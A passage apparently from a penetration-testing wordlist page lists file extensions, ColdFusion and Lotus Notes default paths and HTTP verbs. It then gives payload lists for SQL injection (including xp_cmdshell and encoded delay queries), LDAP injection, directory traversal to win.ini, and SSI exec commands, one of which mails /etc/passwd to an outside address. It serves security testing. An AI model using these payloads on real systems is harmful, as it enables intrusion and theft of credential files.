/> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> 